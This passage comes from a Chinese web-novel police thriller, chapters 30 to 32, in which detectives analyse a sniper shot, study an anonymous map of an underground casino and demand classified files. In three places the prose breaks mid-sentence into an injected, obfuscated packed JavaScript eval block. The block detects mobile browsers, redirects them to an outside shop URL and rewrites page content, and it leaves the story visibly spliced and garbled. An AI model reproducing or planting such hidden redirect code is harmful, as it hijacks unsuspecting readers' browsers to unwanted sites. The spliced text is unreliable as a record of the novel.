“所以我不记得林律奚。”他再度抬头,看着天花板上描绘阿尔茨战役的墙纸,“他不需要被记住。” 高尚桢长久没有说话,他又想爆粗口,但是这回身上软塌塌的,连爆粗口的力气也没有了。 “你今晚在天台就是这么跟他说的?” 程宥摇头,“不,我没说话,他没有要求我必须回答问题。” 他情绪又一次有些起伏,还好很快就完全控制。 “他有点奇怪。你介绍我看危机干预心理学很对,这是很明显的创伤后遗症,我应该和他最大限度保持距离。” 有——点——奇——怪 最——大——限——度——保——持——距——离 高尚桢简直一辈子都没这么糟心过。 良久良久,他长长嘘了口气,将剩下的巧克力胡乱的塞进口袋,站起身,顺手将脚凳上的程宥也拉了起来,“行了,我们回到案子里去吧。” 四楼406里,林律奚摘下了耳机,望向窗外。 那里依旧像一片燃烧的海,只是此时此刻,更接近地狱的边缘。 他支着额头笑了起来。 30. 第二件快递 凌晨四点,天刚蒙蒙亮,莞荟苑警方临时办公室里,高尚桢睁开了眼睛,脑子嗡嗡的,还是昨晚的混乱场面。 定在脑海里的最后一帧,是程宥看着窗外,给他介绍天气情况的画面。 他叹了口气,翻来覆去二十分钟,发现实在睡不着,恨恨的把隔壁界至野给抓了起来。 其实昨晚程宥看到界至野自告奋勇,考虑到自己身为调查官的责任,提出暂时可以不遵守劳动法(反正也破坏了),留下加班。 然而高尚桢觉得他的存在会进一步刺激到林律奚——对方很明显精神状态不稳定,最好还是暂时把俩人隔开,万一程宥再冒出句“你不需要被记住”,事情绝对会朝不可控制的方向坠去。 于是他一本正经的跟调查官说,你看我们这几天都要泡在这里,盛苒又病了,局里光有小安一个人不行,你得回去主持大局。 后者思索了两秒钟,认为他的判断很合理,点头表示同意。 高尚桢看着他背影消失在门外,洋洋得意。 ——省得他在这儿再搞什么环境研判,不仅林律奚,我也不能再受刺激了。 和他一道走的还有卫其宏,年轻警官经过惊魂一夜,亟需休息和心理辅导,高尚桢比谁都重视手下心理稳定,当然,像程宥那个稳定法是万万不行的。 一早醒来,干掉三大杯超浓咖啡,打发掉闲杂人等的高组长精神抖擞。 他想,不管谁入侵,无论是牙或者那个闯入警局的黑影,经过昨晚这么大阵仗不可能不留下痕迹。 也不知道那个匿名快递什么时候到局里,我要能瞬移就好了。 没关系,有程宥在。 他放心的关闭了脑中小剧场,朝一楼大厅赶去。 鉴证科连夜在这里取证,此刻已经差不多收工,鉴证人员熟悉他的脾气,也不废话,直接带他去看那座奢华的喷泉。 几个小时过去了,溅出的水珠痕迹已浅了不少,但是地面上仍留下些微水迹,还夹着泥土和碎叶。 “高组长,这里。”技术人员指向池边,他循声望去,看到水池边缘一片蔓延而下的血痕,“有人摔下来过,血迹已经送去做DNA鉴定了。” 高尚桢皱眉,“撞击点在哪里?” “三楼。” 于是高尚桢跟着他噔噔蹬的来到三楼,果然三楼一处中庭护栏轻微向外凸起,似乎有人曾经重重撞了过去,他伸出戴手套的摸了摸,发现几个螺丝有明显松动,又从护栏上向下看了一眼,发现垂直下方正好可见那片血迹。 ——显然收到的冲击力过大,从这里跌落。 “冲击点在什么地方?” “这里,高组长。”技术人员指向中庭长廊上一面小小方窗,它在清晨朝阳下闪出碎亮的晶光,“有人从外面开枪,打穿了玻璃。” 高尚桢来到那扇小方窗前,发现上面的花纹像蜘蛛网从中心向四周扩散,粗粗一眼,还以为是装饰性花纹。 “这里装的都是防弹玻璃吧。”他有些不确定,看向技术员。 对方笃定点头,“确实是。不过这是一枚狙击用的高能子弹,能够直接穿透防弹玻璃,当然,经过防弹玻璃的阻挡后,子弹速度已经大大减小,对人体伤害也没有那么严重。” ——高能子弹。 ——狙击手。 一瞬间高尚桢想起了林律奚那次转院时遇到的袭击。 两次扣下扳机的,会是同一人吗? 如果是,又为什么…… 他脑中的IE还没转完,那边界至野也匆匆跑来,嘴里嚷嚷,“老大,这回抓住个现行!有个摄像头没有被黑!” 高尚桢精神一震,在技术员肩膀上拍了拍,“干得好,接下来你总结……”说到这里一顿,“把子弹的路径和模型都发给程,程调查官。我要知道和之前打死林律奚保镖的那颗子弹,是不是出自同把枪。” 下达了命令,他跟着界至野急匆匆到了一楼。 一楼监控室,莞荟苑几名管理层正面露不安,等着警方到来。 跟他们零交流后,高尚桢直奔一台电脑前,看到静止的屏幕上,有人正站在空荡荡的楼道,左上角时间显示的正是昨晚凌晨。 “怎么回事?”他头也不回,问界至野。 “是这样,前阵子不是黑客把楼里系统给黑了嘛?他们又多装了不少监控,这个是测试用的感应摄像头,装在三楼,测完忘摘了,就隔在那儿了,有动静就开始记录,因为没联网,所以黑客也控制不了。” 界至野摸着烟盒,暗叫侥幸,“内存挺大,到现在还没用光。” “好!”高尚桢点点头,向前滑动数下,点了下播放键。 监视器画面是黑白的,看得出配置非常一般,颗粒感明显。 最开始一片黑黑的颗粒,突然间铃——铃——铃,长廊中几部电话分机同时响起。 这时摄像头开始自动启动。 它拍到了烟雾探测器闪烁的红灯里,一名男子自长廊那端逐步接近。 他身着黑色罩衫,身材高壮,脚步不紧不慢,一步步逼近中庭这端的电梯口。 就当他越过中庭中央时,空中突然掠来一道锐利亮线,将他狠狠惯向护栏。 他踉跄倒后,撞到铁栏上,依旧收势不住,身体翻过栏边向下楼坠去。 屏幕前的界至野下意识抽了口冷气。 千钧一发之际,这个人猛然伸出手,一把抓住护栏。不过仅仅短暂停留几秒,终于不支,单手松开,从三楼中庭坠落。 画面中只剩下轻微的晃动护栏,还有不停闪烁的探测器灯。 这段录像很短,前后不足二十秒,高尚桢又回放了一遍,看到那道亮线凌空刺来,马上按下慢放键,手指顺着亮线的角度方向,一点点划出弧线,同时在脑中定位着那扇被打碎的小方窗。 ——没错,就在这里。高能子弹穿过方窗上的防弹玻璃,打中了入侵者。 “界至野!”高尚桢从电脑屏幕前站起身,头也不回,“马上去确认昨晚血迹的DNA 结果,让信息组把入侵者的照片处理清晰,打印出来交给医院匪徒确认。” “通知现场所有警力和附近分局,以莞荟苑为中心,扩大五公里范围搜查,重点是下水道,废弃建筑和所有可能藏匿地点!他受了伤,走不远,有可能的话范围扩大到十公里!” “把这段录像也给程宥发过去,问他看法!” 在名为警力这座马达的全力驱使下,短短三个小时之内,几条线索悉数汇总到刑事组长手中,结果令他喜忧参半。 第一,血迹DNA鉴定有结果,和目前系统记录无匹配,建议利用家族图谱鉴定扩大范围,但是不能保证一定匹配,初步预估在一到两个月之间出结果。 第二,入侵者的照片处理完毕,经过医院里的李毕升和徐仁辨认,确认就是那个神秘的老大“牙”;同时蛇矛前成员高扈,其弟高林的手绘肖像也被发布出去。 其余两条线索都来自程宥,他对现场照片和摄像都做了详细分析,给高尚桢发的EMAIL 严谨得像正式报告。 “……鉴证组已将照片发来,基于防 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652199|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弹玻璃的破损形态,初步结论如下: 1)射击距离估计约600-800米之间,弹道呈水平入射,推测射点:距莞荟苑楼正面760米处的信号塔,请详细检查13到15米之间的检修平台。 2)玻璃贯穿集中,表明发射时弹道稳定,结合信号塔的高处风力和塔体振动环境因素,可以认定狙击手受过长距离定点射击训练,狙击水平合格。” 高尚桢目光落到“合格”两个字,嘴角抽了抽。 ……我昨晚说他啥来着,你要是特工一定是世界上最糟的特工。 这家伙生气了。 “……已收到界至野发来的录像,初步分析如下, 1)目标在行进时持续观察四周,中弹后被推向护栏,身体有明显旋转惯性,单手迅速抓住栏杆以分散冲击,并短暂承托体重,随后稳住姿态,对疼痛与失衡有即时抑制能力。 2)命中点位于肩胛带区域。画面未见持续剧烈挣扎或主动防御,显示被击已迅速削弱机动能力,鉴于子弹在穿透防弹玻璃后动能大为减弱,推测受伤情况不重。 综上所述,该目标大概率是训练有素的前军方人员,建议普通警员切勿单独行动。” 高尚桢目光落在最后一行“普通警员切勿单独行动”的建议上,不自禁的笑了笑。 ……虽然是第一次看他的文字报告,怎么说呢,这个1)2)综上所述之类的,还真是典型的程宥风格。 其实他当技术官僚也挺不错,难怪上面不放人,就情报支持这条就太有用了。 ……不知是经历过多少场战争,受过多少那什么见鬼的训练才换来的。 想到这里,高尚桢唇边笑意淡了下去。 他举起照片,曲起手指对着上面方脸男子重重弹了一下,“抓到你了!” 刑事组长即刻下令。 “马上公布通缉犯的照片,公开调查。设下10万奖金奖励提供线索者。” “各局警员按三人一组编组行动,严禁单独行动,加强对所有医院,诊所及主要交通要道的巡查与警戒,对主要出城道路设置检查点。所有异常病例或可疑人员须第一时间上报!” 在整个红驼警方因为高尚桢一声令下,忙得不可开交之际,晚上六点,一个匿名快递悄无声息的寄到了刑事组。 高尚桢正看着暗下来的天色心焦,立刻和组员们,还有破天荒没有准时下班的调查官一起,亲手将那个经过几次扫描,确定没有任何金属物和粉末之类的快递袋拆开。 快递物出奇的简单,只是一张纸而已。 更具体一点,是张A3纸打印出来的地图,最上方标了个“N”,长方形结构,边角上还标注有比例尺。 占据最上方四分之一是个山体轮廓,一条通道从山脚垂直向下,经过一个门房和椭圆形拱门,进入一个巨大的矩形空间,按比例尺计算足有六百平方米。 高尚桢的目光被矩形的南侧区域吸引:那里有六个特殊的房间,形状各异,长方形、半圆形、扇形、方形,墙体标注得格外厚重;北侧则是三十多个小房间,整齐排列。东侧则是密集的功能区,标注简略。西南角有条狭长的走廊,通向两个独立空间。 最引人注目的,是靠近北墙的一个深色方块,完全独立,与周围区域泾渭分明。 高尚桢盯着这张地图,脑中渐渐有了个想法,他转头看向界至野,挑了挑眉,“看出什么没有?” 界至野摸着刚冒出来的胡子茬,“这个……这个地方,”他有些不确定,“怕不是银脊地下赌场的地图?” 31. 高组长 vs. 调查官=8:1 “怕不是银脊地下赌场的地图?” 高尚桢点点头,“我觉得也是这样。” 将地图复制一份后,原图交给鉴证组区分析可能有无痕迹后(虽然他确定九成九是徒劳),复制品留下。 此刻高尚桢的指尖顺着地图上那条通道延申,按比例看大概长约25米左右,“老界,你去过,你说这里是什么?” 界至野想起那伸手不见五指的大厅,顿时觉得亚历山大,“我是去过,不过是被当地警方拿吊索放下去的。这个吧,可能就是那个主通道,其他的我也不太清楚啊。” 他说到这,发现老大正用不太善良的眼神瞅自己,赶紧添加更多细节,“主要是这个通道在案发时被炸瘫了,还引发了雪崩,被封住了,得清理才行。后来这赌场不是关了嘛,也没人管,所以才把我从通风井口放下去,真不能怪我。” 高尚桢听完他的解释,眼神稍微和善了一点,手指沿着通道向前推移,一路来到入口的地方,看到旁边一个不大不小的屋子,“安保室?” 界至野一头汗,“这个,老大,我不是说我没从主道进来啊。” 高尚桢跟没听见似的,指尖继续向左滑动,通过大门后,来到了地图上最为引人瞩目的大块矩形空间,手指刚停下,界至野就很兴奋的说,“这里是主大厅!我记得清楚!就是在这里绊倒的!” 高尚桢斜他一眼,强咽下“你还挺自豪”的吐槽,手指移到南向那六个形状复杂的房间,“VIP包间吧?”他点了点厚重的墙体,“这么厚,为了安保,也为了隔音。” 围观的刑警们一起点头,他们对组长的推理能力一向心服口服。 至于脾气…… 脾气分时候服。 高尚桢看到北侧那三十多个独立的小方块,心算了下面积,抬头看向界至野,“这是员工室?” 界至野寻思你怎么又来了,赶紧陪笑:“可能吧,我崴了脚,没继续看……” 他看到老大的眉毛不耐烦的立了起来,马上改口,“不过你说是就是!虽然银脊案没地儿查去,不过我在当地打听来的消息是,银脊当时注册的服务员什么的总共有二十多位,当然这都是明面上的,以滑雪场名义雇的。” “私下这人数吧,”他揪着自己的胡茬,开始按经验估算,“这种级别的赌场,还带休闲中心的,那荷官啊服务员啊后厨啊什么的怎么和客人比例也得2:1吧,这还没算安保呢。要说有七八十人一点不稀奇,就算轮班也得有个六十来号,一个房间两人,正好!” 什么叫我说是就是,我还叫你少报销你听了吗? 吐槽归吐槽,对界至野的江湖经验高尚桢一向不怀疑。 他的目光又掠过地图东侧,那里面积虽大,可画得非常简略,“这里就是住宿和休闲中心?” 界至野后悔为什么要多此一举去探银脊,更恨自己一不小心在那个黑窟窿里崴了脚,导致除了拍了几张照片没探出个究竟来,要不然眼下哪能被老大问得一脑门子汗呢。 好在高尚桢也没难为他,自己抱着胳膊思索一会,直到脑中完全建起一座3D模型,才指着北侧那个深色方块,“这是什么?” 其实大家盯着那个方块看很久了,人人都在努力琢磨,可是上司真开口一问,全部哑火。 这到底是个啥? 高尚桢咳嗽一声,抬眼看看身边表情始终没有变化的同事,“程宥?” “密舱。”果不其然,神通广大的调查官再次给出了答案,“像银脊这种地下赌场,又靠近边境,经常会有秘密交易。” 界至野挠挠头,“这倒是。那这个叫密舱的地方,就是专门为这种交易建的?” 调查官点点头,“对。赌场老板提供密舱,再从交易里抽佣金,所以密舱安保非常严格,普通赌客不知道密舱的存在。” 大家对他的话深信不疑,尤其是界至野。 昨晚他亲眼目睹了调查官和蜘蛛侠一样徒手攀上五楼,现在就是程宥说太阳从西面升上来,他也肯定双手高举表示赞成:调查官你说得对,我还看见它从东面落下来了哪! “密舱。”高尚桢陷入了沉思。 界至野一向觉得老大推理时的样子很帅,他决定效仿一把:“老大,那个老鬼头不是说蛇矛手里可能有钻石让他去销赃吗?会不会当时银脊密舱里就有钻石交易?所以蛇矛来了,这才引起后面一堆事?” 高尚桢先点头,又摇摇头,随即陷入沉默。 界至野本来挺有信心,看他这样马上知道不对劲,捅了捅旁边的卫其宏,“我说得不对?” 年轻的刑警经过昨夜惊魂,今天还是硬撑着来上班了,上午还参加了局里加急安排的心理辅导,结果这不辅导还好,辅导完他更萎靡了。 ——我不要辅导,我要升职加薪弥补我受伤的心灵! 当然无人听得懂他的心声,就算听懂了也装不懂,此刻他被老搭档一问,眼皮上翻,无声的吐出四个字:特种部队。 界至野刹那反应过来。 对啊,特种部队,还是朗基努斯之枪那个级别的! 不要说普通的钻石交易,就是拿女王王冠上那颗来换,也不一定能让他们出动。开玩笑,他们一出手,那特种子弹嗖嗖的,几发就值一颗钻石了好不好! 高尚桢继续沉思,许久才抬起头,发现组员们大气都不敢出,小心的瞅着自己。他敷衍的挥挥手,“大家分析得很好,今天就到这里。”又抬腕看看表,七点多了,很好,楼下餐厅还开着,然后看了看程宥,“你吃饭没,我请你,当接风。” 程宥还没开口,卫其宏率先恢复精神头,喊出声来:“组长,你说要请全组人的!” 高尚桢随意回应:“以后,以后。”看卫其宏还委屈巴巴的看着他,哼了一声,“价值二百二十颗特种子弹的豪车车主,用不着我这个只值十颗子弹的请。”说着一把拉起程宥,直接拖向电梯。 只有两个人的电梯里弥漫着某种诡异的气氛。 没人说话。 程宥摘下眼镜,用软布擦了擦,高尚桢瞄了瞄他,这个动作他很懂,每当程宥有点拿不定主意的时候就开始擦眼镜。 看来猜到我的打算了,不过没关系,反正最后我总能说服他。高尚桢自信满满的想。 ……每次他有指令,无论中间过程是什么,最后我总会是去执行。 目前YES:NO=7:1。 其他案件里调查官和主官的战斗结果也是这种比例吗?程宥难得困惑的想。 滴的一声,地下餐厅到了。 虽然过了饭点,不过很多警察都早出晚归,没个定点,所以这里最欢迎的还是自助餐。 高尚桢热情的塞给程宥一个盘子,“随便吃,算我的!”在对方微微闪了下的眼神里,给自己舀了堆红烧排骨,可乐鸡翅和糖醋里脊,倒满一大杯快乐神仙水后,又去夹焦糖布丁和俩芝麻球,把餐盘堆得老高,心满意足的回到饭桌上。 程宥早已在桌旁等,盘子里是一块烤三文鱼和一小堆西兰花,旁边还是雷打不动的矿泉水。看到高组长回来,就开始低头吃晚餐。 他的动作快而稳,每次刀叉起落的速度毫无变化,很快餐盘上就剩下一半的三文鱼和西兰花。 他打开矿泉水瓶盖,喝了口水,余光扫了下对面正在风卷残云的高组长,略微放松了些。 他吃饭时候不习惯说话,本来有点担心这人会不会通通通跟机枪似的开始扫射,也顺便要求自己必须回答,还好他就跟偷渡来的难民一样,头也不抬,只顾干饭。 很好,程宥想,目光从高组长旁边那堆成小山似的各色骨头上撤回,对他的吃相不做任何评价。 他拧好瓶盖,准备继续补充进另外二分之一的三文鱼和西兰花,冷不丁一只手伸过来把他餐盘抽走。 “等等。”高组长的头从快乐神仙水里拔出来,打个嗝,“你吃太快了,等我下。” …… 程宥放下餐叉,还没来得及打量对面那叠摞得老高的空盘子,高尚桢已呼的一声站了起来,很快跑到取餐区又搬了一堆糖渍培根和红烧肉回来,旁边还有巧克力布丁和几盒巧克力冰淇淋。 他发现程宥在瞧自己旁边那堆空盘子,热情洋溢的开了口,“这里以前有糖醋三文鱼来着。”他很自豪的介绍,“我推荐的,很不错。” 程宥找回自己的餐盘,叉子戳了戳西兰花,“我没有看到。”他平静的说。 “呃。”高尚桢将一勺巧克力布丁送进嘴里,“喜欢的人不多,厨房撤掉了。”他有点遗憾。 程宥没有开口,继续吃他的西兰花。 高尚桢端起快乐水,狡黠的打量着他,“你是不是在想,我怎么还没有推荐巧克力味的三文鱼?” 程宥:…… 程宥就是这么想的。 “没有。”他放下餐具,拿纸巾擦了擦嘴,开始觉得饱了。 今天体能消耗一般,半数热量足够。 他默默的想。 高尚桢开始挖冰淇淋吃。饕餮之后,清凉香甜的巧克力总是他的最爱。 “不试试吗?”他问程宥,然而对方摇头,低头拿纸巾擦手。 “挺好吃的。”他嘀咕一声,“嗯,你对给我们快递地图的人怎么看?” 程宥:…… ——果然还是避不开。 ——这次必须7:2。 他停下了动作,缓缓握起了矿泉水,很慎重的回答:“他很熟悉银脊内部的情况。” “唔。”高尚桢不置可否,低头又挖了一勺冰淇淋,好像在和他打商量,“他为什么要突然给我们送这个地图?” 程宥想起了匿名者的第一件快递:赌场老板周乐天的手表照片,也想起了他在电话里所声称的“我知道真相”。 “他要证实自己确实知情,来换取警方的……保护?”他谨慎的挑选了这个字眼。 “知什么情啊?”高尚桢拿起第二碗冰淇淋,抬头看他,“银脊案情吗?还是别的什么?” 他笑了,“要不然就是那件指定物品?对了,那到底是什么?” 程宥握着瓶身的手指微微收紧,“我们只是执行者。” “错!”高尚桢拿小勺把最上层的巧克力脆壳敲碎,“朗基努斯之枪的程宥只是执行者,但是后来进入中央情报司的程宥肯定不是。” 他把巧克力碎屑和下面的冰淇淋搅在一起,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652200|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不对吗?” 对面没有声音。 高尚桢连剜几口巧克力,“其实我不在乎情报司在搞什么,我只想破案。”他扔掉冰淇淋盒,抬起头,目光锐利的盯住一桌之隔的程宥,“现在听听我的看法吧。” “这个人对形状复杂的VIP包房,隐藏在角落的员工宿舍,甚至密舱都画得比较清楚,这说明他是内部工作人员。” “可他对休闲旅馆只有潦草几笔,说明他只在乎赌场大厅,VIP房间等地方。这都是赌场工作区,所以他很可能部门主管,荷官,高级安保,甚至是资深服务员。” “他知道密舱的存在,就说明不是临时工,说明他要么干得很久,要么级别够高。” “可这份图纸并不够专业,太粗糙,所以我个人倾向排除高级安保和管理层。” “剩下只有工作多年的荷官或者服务员。” 他看向程宥,眨眨眼,“我还得说好一会呢,要不你去拿点甜点?” ——好一会是几分钟? 程宥感到现在脑子就开始疼了。 ——他很厉害,对人的判断尤其厉害。 ——不过为什么他越厉害,我的反应速度就越慢? ——两者之间是否存在负相关? 高尚桢看他坐着不动,干脆自己起身去甜点区,考虑到程宥对健康不懈的追求,挑了半天,找出个纯酸奶的,直接摆到他面前。 “我请,别客气。” 程宥:…… 这是自助餐厅。 “行了,我们继续!” “这条路径,”高组长伸出手指,从桌子这头滑向对面。“主通道,门房,再到拱门和赌场大厅,这个很清晰。” “可别忘了,这种赌场做着灰色生意,绝对有后门,甚至不止一条,退一万步,起码有紧急通道吧。界至野也说他是从通风井口被放下去的,可这份地图上一点都没有。” “这说明他在故意隐匿,或者尽量拖后,不让我们知道。” “发现了吗?这张地图上没有任何标识,只有线条和格子,如果对银脊案内情了解不多,肯定不会想到这是赌场地图。” “他在试探我们。” “我说你吃不吃?不吃浪费啊你,世界上那么多吃不上饭的灾民哪,你过意得去你?” 程宥:…… 程宥拿起了勺子,为了全世界的灾民开始吞酸奶冰淇淋。 高尚桢看着他在吃第一口冰淇淋时眉头稍皱了下,动作变慢,然后又忍辱负重的吃第二口。 ……世界上这么多好吃的,非要喝矿泉水,哼,有我在你是别想了。 他得意的合拢手掌,看着程宥,继续。 “听到了没有?这份地图在替他说:‘你看,我真的知道内情。现在相信了吧?给我点甜头,我就告诉你。’” “什么人会对警察这么做?” “我们的神秘卖家,那个从银脊案中得利的人!” “偷走周老板手表的人!” “我们必须找出这个人,找出这个曾在银脊工作的资深员工。” 听到这里,程宥已知道高尚桢想干什么了。 本来就难吃的酸奶变成了刮肠刀。 他张了张嘴。 然而高尚桢火力全开,不容他有任何反击的机会。 “想要找出这个人,我就需要了解当年银脊案详情。” “我需要赌场所有工作人员的名单,所有赌客的名单,无论是活着还是死了。” “我要中央情报司手上所有关于此案的资料,一点也不能遗漏。” “你要帮助我,调查官!程宥!” 全宇宙的难民加一起,也不能让程宥再吃半口冰淇淋。 “高尚桢。”他摘下了眼镜,露出罕见的为难,“调查官的任务是协同侦破,我也在努力履行职责,不过银脊相关资料是绝密档案,即便我的级别也……” “程宥!”高尚桢赫然地打断他,目光灼灼,“这也是为了中央情报司,为了你!” 程宥:…… 原来都是为了我……吗…… “他们派你来,派当年的朗基努斯之枪来,一定是为了那件没有回收的指定物品!” “可那个东西真的在蛇矛手里吗?如果真在他们手里,牙为什么要来红驼!” “他是追着这个神秘卖家来的!是为那件东西来的!” “转告中央情报司,他们想要的物品,就在这个卖家手里!” “如果中央情报司想要,就把案卷给我!” 程宥沉默了。 现在要打晕他太晚了。他想。 “程宥?” 一点点的,程宥把眼镜返回口袋。 投降。 ……他说的是事实。 ……反正也不是第一次投降了。 他艰涩开口:“我需要打报告。” 高尚桢拿起第三盒巧克力冰淇淋,向他灿烂的笑,“拜托可以加班吗?今晚一定写完。” 对面人面无表情的扭过头。 ……再次大获全胜。心满意足的高尚桢想。 ……8:1。再次败北的程宥想。 32. 怒火与钱包 第二天,程宥第一次没有按时出现。 就在卫其宏暗自猜测调查官是不是被组长的高糖高脂宴吓跑的时候,下面的分局传来消息,有人闯入该辖区的一间诊所,撬开储藏柜,带走了一些抗生素和麻醉药之类的药物和耗材。案发时间大约在凌晨两点,无目击证人,附近监控很少,诊所内的摄像被破坏。 “鉴证组在现场没有提取到指纹和DNA证据,不过留下了鞋印,初步推断疑犯是身高在一米八五以上,体重180磅左右的成年男子。”卫其宏干巴巴的给组长作报告,“附近店铺和车辆也盘查过了,有效区间没有找到任何记录仪。” 换句话说,就是啥线索也没有,组长肯定生气。他这样想。 然而高尚桢并没有生气,何止没有,他简直心平气和极了,只问了一个问题,“有没有丢失血浆?” “血浆?”卫其宏赶紧翻看资料,“……抗生素……针头……没有,没有血浆。” “嗯。”高尚桢点点头,“调查官是对的,牙受伤不重。” 啊? 卫其宏不禁望了一眼那张空荡荡的办公桌。 所以是调查官的缘故,组长今天才跟菩萨似的吗? 那么他在哪呢? 晚上六点半,刑事组,会议室。 除了正在发烧的盛苒之外,高尚桢拉齐全部人马开会,包括从被他从莞荟苑叫回来的界至野,会议内容还是梳理案情。 这案情都梳理了整整一下午了,梳理得大家神情呆滞,胃里空空。 就在这时,亲爱的调查官从天而降,解救众生于水火之中。 程宥用肩膀撞开会议室的门,怀里两个纸箱摞得老高,四面都盖着红色封条,“绝密”二字触目惊心。 高尚桢第一个冲过去,热情洋溢的去接他手里的纸箱,“太麻烦了,辛苦辛苦。”他笑容满面,眼睛明亮异常,“那边天气怎么样?还顺利吗?” ……天气? 卫其宏抻着脖子瞅瞅窗外,红驼一年恨不得三百六十六天都阳光灿烂,这还用问? 程宥没回答,只把俩纸箱朝他怀里一推——分量之重压得高尚桢膝盖一软——然后从口袋里掏出矿泉水,扬头喝水,一直喝到水瓶见底。 他的西装依旧挺括而整洁,只是领带有一点歪,鬓角的发也有些蓬松,从进门到喝完水,就没正眼瞅过高组长。 ——看样子挨骂了,还不止,估计挨的口水得用盆接。 ——嗯,绝密材料,要得还挺急,中央情报司那帮家伙肯定没让他好受。 ——这是生气了。 ——切,这有什么好气的,真是。 ——我要被摘掉的警徽都能开当铺了,我还该吃吃该喝喝好么? 高尚桢厚颜无耻的想着,浑然忘了那个每每吵完架后,气得要吃急性救心丸的自己(和署长)。 别说,这玩意还真沉…… 他咬着牙,努力把两个纸箱搬到桌面上,看到缠满箱子的红封条,从口袋里抓出车钥匙就朝封条上戳,然而这玩意也不知什么做的,质量超好,他用力连戳几下,愣是连个小口子都没捣开,转向卫其宏,“找把剪刀去。” 卫其宏刚要听令行动,那边程宥已放下空空的水瓶走了过来。 他脱下西服搭在椅背上,卷起袖口,从腰间摸出把黑色匕首,拇指轻轻一按,柄部剥成几节,一把细长的折叠美工刀弹了出来,高尚桢背上一紧,已被拖向后方,随即眼前一闪,美工刀已经无声无息割开了重重封条,其上“绝密”字样从正中央被一分为二。 从头到尾,调查官仍连半个眼角都没分给他。 组员们面面相觑。 拳头那么大的“绝密”红字,他们想看不见都不行。 卫其宏看到老搭档正不住跟自己挤眼睛:这怎么回事?他抬抬眉毛:我怎么知道?再看安月见,更是一脸懵。 他挠挠头,看着闷头从箱子里往外一件一件搬各种文件袋的调查官,总觉得他今天有点怪,而组长更怪,在旁搓着手,态度好到不行,他还在琢磨怎么回事,忽然间咕噜一声,肚皮响了起来。 高尚桢也听见了,立刻亲热的问:“小卫饿了呀?”说着抬起今天看了八百次的表,看到时钟已跨过七点,点点头,“今天要工作到很晚,不吃饭不行。这样,订外卖好了。”他豪气的去抽钱包,“我请。” 卫其宏愣了下,“啊,那行,那我去楼下……” “今天星期三,地下餐厅七点关门。”正在整理文件的程宥开了口。 卫其宏更愣了,他眨眨眼睛,不是,主动说没饭了的真是我们调查官吗? 高尚桢笑得更欢了,“说得对,大家说说看吧,千万别客气。” 他转向程宥,热情招呼:“程宥你也给点意见!” 麦当劳——界至野第一反应。 圆月亮蛋糕坊——安月见第一反应。 初禾私厨——卫其宏第一反应。 “Cadenza by L’Aria,离警局5.4公里。”程宥头也不抬,捡出最后一盆录像带,“帕玛森焦香芦笋,营养足够均衡。” 高尚桢的笑容凝固了。 Cadenza by L’Aria? 界至野想,这是个啥? 卫其宏皱眉,我去过一次,不过那里…… 安月见马上掏出手机开始搜,第一个蹦出来的就是今日主厨推荐——金箔北极帝王三文鱼! 高尚桢掏钱包的手僵在了半空,而不远处三双眼睛正目不转睛的看来。 他瞬间觉得署长常挂嘴边的那句“警徽价值千金”在此时此地彻底具象化了。 他吸了口气,豪爽点头:“没问题!绝对没问题!” 会议室里顿时爆发出一阵掌声。 程宥将材料按时间顺序整齐摆在会议桌上,随后转身将两个空纸箱放回角落,盖好箱盖,摆正对齐,正了正领带。 一个小时后,外卖准时送达。 等外卖的时间里,高尚桢几次试图跟程宥搭话,然而对方专心致志的敲报告,并且敬告他,目前工作的报告也属于机密内容,请高组长你离远一点,不要试图窥屏。 ——果然生气了。 ——程宥脾气这么好,都能被搞毛,中情司那帮不干人事的官僚! 高组长一脸无辜的想。 好在程宥敲完最后一个字时,外卖也到了。 三千字的报告和精致高雅的外卖包装,强行装将他的心情拽回到中位线水平。 事实证明,Cadenza by L’Aria不愧是外卖界的爱马仕,不仅看起来就很高贵的样子,吃起来也让人印象极其深刻——每一口满满都是(高组长)钱的味道。 为了物有所值,高尚桢让店里附赠了五瓶快乐神仙水。 好不好吃另说,对这顿豪华晚餐大家是享受至极的,尤其是看到组长假假的笑容,这份享受就更翻倍了有没有? 酒足饭饱之后,高组长迫不及待的回归案件。 他先简单谈了自己的推理,然后直入主题,“我们不能这样被动的等,也没有时间跟这个打电话的人玩猫鼠游戏,”他攥起拳在一沓高高的资料上锤了下,“这个人的身份就藏在这里,我们一定要抢在他再次来电话之前把他找出来,最大限度掌握主动!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16652201|188261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 界至野打了个饱嗝,有点胆怯的瞅瞅那堆足足有五六十公斤的文件,“老大,这些都是银脊旧案的资料吗?”见高尚桢点头,小心肝又是一顿乱颤,试探着问:“那你估摸他啥时候会打电话?” 对这个问题高尚桢早有答案,“他不会给我们太多时间。” 